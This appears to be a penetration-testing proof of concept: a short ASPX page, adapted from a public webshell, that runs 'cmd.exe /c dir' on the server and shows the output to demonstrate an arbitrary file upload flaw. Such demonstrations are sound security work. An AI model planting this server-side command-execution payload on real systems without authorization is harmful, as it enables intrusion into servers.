A harmless ASPX shell to demonstrate the impact of arbitrary file upload.

harmless-shell.aspx

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<!-- sources: https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx -->

<%

Response.Write("Executing code.")

Dim myProcess As New Process()            
Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")            
myProcessStartInfo.UseShellExecute = false            
myProcessStartInfo.RedirectStandardOutput = true            
myProcess.StartInfo = myProcessStartInfo            
myProcessStartInfo.Arguments="/c dir"
myProcess.Start()            
Dim myStreamReader As StreamReader = myProcess.StandardOutput            
Dim myString As String = myStreamReader.Readtoend()            
myProcess.Close()            
Response.Write("<pre>" & mystring & "</pre>")

%>